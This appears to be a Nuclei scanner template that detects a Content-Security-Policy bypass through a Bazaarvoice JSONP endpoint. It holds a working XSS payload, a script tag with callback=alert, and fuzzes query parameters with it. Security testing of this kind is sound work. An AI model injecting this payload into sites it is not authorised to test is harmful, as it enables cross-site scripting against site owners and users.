id: bazaarvoice-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Bazaarvoice API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,bazaarvoice-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "bazaarvoice.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: bazaarvoice_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.bazaarvoice.com/data/batch.json?passkey=e75powr7wqhg1ah5seu00zawf&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "bazaarvoice_api_csp_xss == true"
# digest: 4a0a0047304502201ca1e8642d7091b2eff9d3a9b945970a730867ecc5ec0f4e6168b430978628eb022100f8a526f2592e47ba088bfb61499449daa38ba77aec1e964077a661451431fc86:922c64590222798bb761d5b6d8e72950